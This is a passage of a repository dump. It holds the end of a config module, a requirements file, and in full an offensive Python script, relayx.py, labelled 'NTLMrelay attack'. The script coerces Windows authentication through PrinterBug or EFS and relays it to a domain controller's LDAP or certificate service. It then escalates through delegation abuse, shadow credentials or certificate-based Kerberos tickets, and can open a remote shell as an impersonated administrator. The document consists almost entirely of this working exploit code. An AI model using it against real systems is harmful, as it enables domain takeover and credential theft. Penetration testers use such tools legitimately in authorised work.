| def get_targetName(): 47 | return global_var.targetName 48 | 49 | def set_pass(value): 50 | global_var.pfx_pass = value 51 | def get_pass(): 52 | return global_var.pfx_pass 53 | 54 | def set_pfx(value): 55 | global_var.pfx_b64 = value 56 | def get_pfx(): 57 | return global_var.pfx_b64 58 | 59 | def set_newPassword(value): 60 | global_var.newPassword = value 61 | def get_newPassword(): 62 | return global_var.newPassword 63 | 64 | 65 | def set_ccache(value): 66 | global_var.ccache = value 67 | 68 | 69 | def get_ccache(): 70 | return global_var.ccache 71 | 72 | -------------------------------------------------------------------------------- /relayx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | import ssl 4 | import argparse 5 | import logging 6 | import sys 7 | import time 8 | import os 9 | import config 10 | import requests 11 | import random 12 | import string 13 | from sys import version_info 14 | from multiprocessing import Manager 15 | from threading import Thread, Lock 16 | from comm import logger 17 | from comm.ntlmrelayx.attacks import PROTOCOL_ATTACKS 18 | from comm.ntlmrelayx.utils.config import NTLMRelayxConfig # add AD CS 19 | from comm.ntlmrelayx.servers import SMBRelayServer 20 | from comm.trigger.printer import PrinterBug 21 | from comm.trigger.efs import CoerceAuth 22 | from comm.ticket.getST import GETST 23 | from comm.execute.smbexec import CMDEXEC 24 | from impacket.examples import utils 25 | from impacket import version 26 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 27 | from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS 28 | from minikerberos.network.clientsocket import KerberosClientSocket 29 | from minikerberos.common.target import KerberosTarget 30 | from minikerberos.common.ccache import CCACHE 31 | 32 | 33 | def banner(): 34 | banner = R""" 35 | ██▀███ ▓█████ ██▓ ▄▄▄ ▓██ ██▓▒██ ██▒ 36 | ▓██ ▒ ██▒▓█ ▀ ▓██▒ ▒████▄ ▒██ ██▒▒▒ █ █ ▒░ 37 | ▓██ ░▄█ ▒▒███ ▒██░ ▒██ ▀█▄ ▒██ ██░░░ █ ░ 38 | ▒██▀▀█▄ ▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ░ ▐██▓░ ░ █ █ ▒ 39 | ░██▓ ▒██▒░▒████▒░██████▒▓█ ▓██▒ ░ ██▒▓░▒██▒ ▒██▒ 40 | ░ ▒▓ ░▒▓░░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░ ██▒▒▒ ▒▒ ░ ░▓ ░ 41 | ░▒ ░ ▒░ ░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░▓██ ░▒░ ░░ ░▒ ░ 42 | ░░ ░ ░ ░ ░ ░ ▒ ▒ ▒ ░░ ░ ░ 43 | ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ 44 | ░ ░ version: 1.6 45 | """ 46 | print(banner) 47 | print("\n\033[1;33m\t\tNTLMrelay attack \033[0m") 48 | print("\tAuthor: evi1cg (https://twitter.com/evi1cg)\n") 49 | 50 | 51 | 52 | def startServers(userDomain, userName, password, address, kdc, adcs, callback, options): 53 | global start 54 | start = time.time() 55 | logging.info("Current attack method is ==> {}".format(options.method.upper())) 56 | logging.info("Current trigger is ==> {}".format(options.trigger.upper())) 57 | try: 58 | if not options.no_attack: 59 | target_dc = kdc 60 | c = NTLMRelayxConfig() 61 | c.setProtocolClients(PROTOCOL_CLIENTS) 62 | target_ldap = "ldap" if options.ldap else "ldaps" 63 | if options.method == "rbcd": 64 | c.setTargets(TargetsProcessor(singleTarget=str("{}://{}".format(target_ldap,target_dc)), protocolClients=PROTOCOL_CLIENTS)) 65 | c.addcomputer = options.add_computer 66 | c.dumplaps = False 67 | c.dumpgmsa = False 68 | c.sid = None 69 | c.delegateaccess = True 70 | c.escalateuser = userName 71 | elif options.method == "sdcd": 72 | c.setTargets(TargetsProcessor(singleTarget=str("{}://{}".format(target_ldap,target_dc)), protocolClients=PROTOCOL_CLIENTS)) 73 | c.addcomputer = options.add_computer 74 | c.dumplaps = False 75 | c.dumpgmsa = False 76 | c.sid = None 77 | c.shadowcredential = True 78 | c.delegateaccess = False 79 | c.kdc = kdc 80 | c.userDomain = userDomain 81 | c.aclattack = False 82 | else: 83 | if options.ssl: 84 | target = "https://"+adcs+"/certsrv/certfnsh.asp" 85 | else: 86 | target = "http://"+adcs+"/certsrv/certfnsh.asp" 87 | c.setTargets(TargetsProcessor(singleTarget=str(target), protocolClients=PROTOCOL_CLIENTS)) 88 | c.setIsADCSAttack(kdc) 89 | c.setADCSOptions(options.template) 90 | c.setOutputFile(None) 91 | c.setEncoding('ascii') 92 | c.setMode('RELAY') 93 | c.setAttacks(PROTOCOL_ATTACKS) 94 | c.setLootdir('.') 95 | c.setInterfaceIp("0.0.0.0") 96 | c.setExploitOptions(True,False) 97 | c.setSMB2Support(True) 98 | c.setListeningPort(options.smb_port) 99 | s = SMBRelayServer(c) 100 | s.start() 101 | logging.info("Relay servers started, waiting for connection....") 102 | except Exception as e: 103 | logging.error("Error in starting servers: {}".format(e)) 104 | sys.exit(1) 105 | try: 106 | if not options.no_trigger: 107 | status = exploit(userDomain, userName, password, address, callback, options) 108 | else: 109 | status = True 110 | if status and not options.no_attack: 111 | exp = Thread(target=checkauth, args=(userDomain, kdc, options,)) 112 | exp.daemon = True 113 | exp.start() 114 | try: 115 | if version_info.major == 2: 116 | PY2 = True 117 | else: 118 | PY2 = False 119 | while exp.isAlive() if PY2 else exp.is_alive(): 120 | pass 121 | except KeyboardInterrupt as e: 122 | logging.info("Shutting down...") 123 | elif options.no_attack: 124 | logging.info("Done.") 125 | else: 126 | logging.error("Shutting down...") 127 | except Exception as e: 128 | logging.info("Shutting down..., error {}".format(e)) 129 | finally: 130 | if not options.no_attack: 131 | s.server.shutdown() 132 | 133 | 134 | def checkauth(userDomain, kdc, options): 135 | getpriv = config.get_priv() 136 | dcync = config.get_dcsync() 137 | pki = config.get_pki() 138 | while True: 139 | if getpriv == True: 140 | if dcync: 141 | break 142 | elif options.method == "rbcd": 143 | s4u2pwnage(userDomain, kdc, options) 144 | break 145 | elif options.method == "sdcd": 146 | break 147 | if pki == True: 148 | try: 149 | pki2TGT(userDomain, options) 150 | except Exception as e: 151 | logging.error("Requesting with PKINITtools error: {}, pls using rubeus instead !~".format(e)) 152 | break 153 | getpriv = config.get_priv() 154 | dcync = config.get_dcsync() 155 | pki = config.get_pki() 156 | tmp = time.time() - start 157 | if tmp > options.timeout: 158 | logging.error("Time Out. exiting...") 159 | break 160 | 161 | 162 | def s4u2pwnage(userDomain, kdc, options): 163 | logging.info("Executing s4u2pwnage..") 164 | new_username = config.get_newUser() 165 | new_password = config.get_newPassword() 166 | domain = userDomain 167 | targetName = config.get_targetName() 168 | if logging.getLogger().level == logging.DEBUG: 169 | options.debug = True 170 | options.targetName = targetName 171 | options.force_forwardable = True 172 | options.aesKey = None 173 | options.hashes = None 174 | thostname = '{}.{}'.format(targetName.replace("$", ""), domain) 175 | options.spn = 'cifs/{}'.format(thostname) 176 | try: 177 | executer = GETST(new_username, new_password, domain, options) 178 | executer.run() 179 | try: 180 | if options.shell: 181 | ccachefile = config.get_ccache() 182 | if os.path.exists(ccachefile): 183 | logging.info('Loading ticket..') 184 | os.environ['KRB5CCNAME'] = ccachefile 185 | else: 186 | logger.info("No ticket find. exit..") 187 | sys.exit(1) 188 | options.nooutput = False 189 | logging.info('Trying to open a shell.') 190 | if not options.service_name: 191 | options.service_name = 'Microsoft Corporation' 192 | executer = CMDEXEC(options.impersonate, "", domain, options.hashes, options.aesKey, True, kdc, 193 | options.mode, options.share, int(options.rpc_smb_port), options.service_name, options.shell_type, options.codec) 194 | executer.run(thostname, options.target_ip) 195 | #os.remove(ccachefile) 196 | logging.critical("Exit...") 197 | else: 198 | logging.critical('Execute shell is False, Exiting...') 199 | except KeyboardInterrupt as e: 200 | logging.error(str(e)) 201 | except Exception as e: 202 | logging.error(str(e)) 203 | if logging.getLogger().level == logging.DEBUG: 204 | import traceback 205 | traceback.print_exc() 206 | logging.error(str(e)) 207 | sys.exit(1) 208 | except Exception as e: 209 | logging.error(str(e)) 210 | if logging.getLogger().level == logging.DEBUG: 211 | import traceback 212 | traceback.print_exc() 213 | 214 | def pki2TGT(domain,options): 215 | from comm.ticket.gettgtpkinit import myPKINIT 216 | # Code from https://github.com/dirkjanm/PKINITtools 217 | # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason 218 | dhparams = { 219 | 'p':int('00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff', 16), 220 | 'g':2 221 | } 222 | targetName = config.get_targetName().replace('$','') 223 | cert_pfx = config.get_pfx() 224 | password = config.get_pass() 225 | ini = myPKINIT.from_pfx(cert_pfx, password, dhparams) 226 | req = ini.build_asreq(domain,targetName) 227 | logging.info('Requesting TGT') 228 | sock = KerberosClientSocket(KerberosTarget(options.dc_ip)) 229 | res = sock.sendrecv(req) 230 | 231 | encasrep, session_key, cipher = ini.decrypt_asrep(res.native) 232 | ccache = CCACHE() 233 | ccache.add_tgt(res.native, encasrep) 234 | cachefile = "{}{}.ccache".format(domain,targetName) 235 | ccache.to_file(cachefile) 236 | logging.critical('Saved TGT to file {}'.format(cachefile)) 237 | 238 | 239 | def exploit(userDomain, userName, password, address, callback, options): 240 | try: 241 | if options.trigger == "printer": 242 | lookup = PrinterBug(userName, password, userDomain, int(options.rpc_smb_port), options.hashes, callback) 243 | check = lookup.dump(address) 244 | if check: 245 | return True 246 | else: 247 | plop = CoerceAuth() 248 | if ":" in password: 249 | lmhash, nthash = password.split(':') 250 | else: 251 | lmhash = '' 252 | nthash = '' 253 | dce = plop.connect(username=userName, password=password, domain=userDomain, lmhash=lmhash, nthash=nthash, target=address, pipe=options.pipe) 254 | status = plop.EfsRpcOpenFileRaw(dce, callback) 255 | if status: 256 | return True 257 | dce.disconnect() 258 | if status: 259 | return True 260 | return False 261 | except KeyboardInterrupt: 262 | return False 263 | except Exception as e: 264 | return False 265 | 266 | def check_adcs(url,options): 267 | if options.ssl: 268 | target_url = "https://{}/certsrv/certfnsh.asp".format(url) 269 | else: 270 | target_url = "http://{}/certsrv/certfnsh.asp".format(url) 271 | try: 272 | resp = requests.get(target_url, verify=False, timeout=options.timeout) 273 | if resp.status_code == 401: 274 | return True 275 | except Exception as e: 276 | logging.error("AD CS not found! Pls set up ADCS IP.") 277 | return False 278 | 279 | 280 | def get_args(): 281 | parser = argparse.ArgumentParser(add_help=True,description='DCpwn with ntlmrelay') 282 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' 283 | ' (if you want to parse local files)') 284 | 285 | parser.add_argument("-r","--callback-ip", required=True, help="Attacker callback IP") 286 | parser.add_argument("--timeout", default='120',type=int, help='timeout in seconds') 287 | parser.add_argument("--debug", action='store_true',help='Enable debug output') 288 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 289 | parser.add_argument('--no-trigger', action='store_true', help='Start exploit server without trigger.') 290 | parser.add_argument('--no-attack', action='store_true', help='Start trigger for test.') 291 | 292 | group = parser.add_argument_group('authentication') 293 | group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='Hash for account auth (instead of password)') 294 | 295 | 296 | group = parser.add_argument_group('connection') 297 | group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP address of the Domain Controller') 298 | group.add_argument('-adcs-ip', action='store', metavar="ip address", 299 | help='IP Address of the ADCS, if unspecified, dc ip will be used') 300 | group.add_argument("--ldap", action='store_true', help='Use ldap.') 301 | group.add_argument('-target-ip', action='store', metavar="ip address", 302 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 303 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 304 | parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) 305 | parser.add_argument('-rpc-smb-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 306 | help='Destination port to connect to SMB Server') 307 | 308 | 309 | group = parser.add_argument_group('attack') 310 | group.add_argument('-m',"--method" , action="store", choices=['rbcd','pki','sdcd'], default="rbcd",help='Set up attack method, rbcd or pki or sdcd (shadow credential)') 311 | group.add_argument('-t',"--trigger" ,action="store", choices=['printer','efs'], default="printer", help='Set up trigger method, printer or petitpotam') 312 | group.add_argument('--impersonate', action="store", default='administrator', help='target username that will be impersonated (thru S4U2Self)' 313 | ' for quering the ST. Keep in mind this will only work if ' 314 | 'the identity provided in this scripts is allowed for ' 315 | 'delegation to the SPN specified') 316 | group.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') 317 | group.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'], default='lsarpc', help='Named pipe to use (default: lsarpc)') 318 | group.add_argument('--template', action='store', metavar="TEMPLATE", required=False, default="Machine", help='AD CS template. If you are attacking Domain Controller or other windows server machine, default value should be suitable.') 319 | group.add_argument('-pp',"--pfx-pass", action="store", required=False, default='Rand', help='PFX password.') 320 | group.add_argument('-ssl', action='store_true', help='This is useful when AD CS use ssl.') 321 | 322 | 323 | group = parser.add_argument_group('execute') 324 | group.add_argument('-shell', action='store_true', help='Launch semi-interactive shell, Default is False') 325 | group.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from (default ADMIN$)') 326 | group.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' 327 | 'a command processor for the semi-interactive shell') 328 | group.add_argument('-codec', action='store', default='GBK', help='Sets encoding used (codec) from the target\'s output (default "GBK").') 329 | group.add_argument('-service-name', action='store', metavar="service_name", help='The name of the' 330 | 'service used to trigger the payload') 331 | group.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', 332 | help='mode to use (default SHARE, SERVER needs root!)') 333 | if len(sys.argv)==1: 334 | parser.print_help() 335 | sys.exit(1) 336 | 337 | return parser 338 | 339 | def main(): 340 | banner() 341 | options = get_args().parse_args() 342 | logger.init(options.ts) 343 | if options.debug is True: 344 | logging.getLogger().setLevel(logging.DEBUG) 345 | logging.debug(version.getInstallationPath()) 346 | else: 347 | logging.getLogger().setLevel(logging.INFO) 348 | 349 | userDomain, userName, password, address = utils.parse_target(options.target) 350 | 351 | if userDomain == '': 352 | logging.critical('userDomain should be specified!') 353 | sys.exit(1) 354 | 355 | if options.no_trigger: 356 | options.trigger = "no trigger" 357 | if options.no_attack: 358 | options.method = "no attack" 359 | 360 | if options.target_ip is None: 361 | options.target_ip = address 362 | 363 | if options.dc_ip: 364 | kdc = options.dc_ip 365 | else: 366 | logging.info("If your target is not DC, pls set up dc-ip.") 367 | kdc = address 368 | 369 | if options.adcs_ip: 370 | adcs = options.adcs_ip 371 | else: 372 | adcs = kdc 373 | 374 | if password == '' and userName != '' and options.hashes is None: 375 | from getpass import getpass 376 | password = getpass("Password:") 377 | 378 | if options.hashes: 379 | password = ("aad3b435b51404eeaad3b435b51404ee:" + options.hashes.split(":")[1]).upper() 380 | 381 | callback = options.callback_ip 382 | if options.method == "pki": 383 | ads = check_adcs(adcs,options) 384 | if not ads: 385 | sys.exit(0) 386 | if options.pfx_pass == "Rand": 387 | setpass = ''.join(random.choice(string.ascii_letters) for _ in range(8)) 388 | else: 389 | setpass = options.pfx_pass 390 | config.set_pass(setpass) 391 | startServers(userDomain, userName, password, address, kdc, adcs, callback, options) 392 | 393 | if __name__ == '__main__': 394 | main() 395 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests>=2.25.1 2 | pyasn1>=0.4.8 3 | impacket>=0.9.23 4 | pycryptodomex>=3.10.1 5 | pyOpenSSL>=20.0.1 6 | config>=0.5.0 7 | minikerberos>=0.2.14 8 | dsinternals>=1.2.3 --------------------------------------------------------------------------------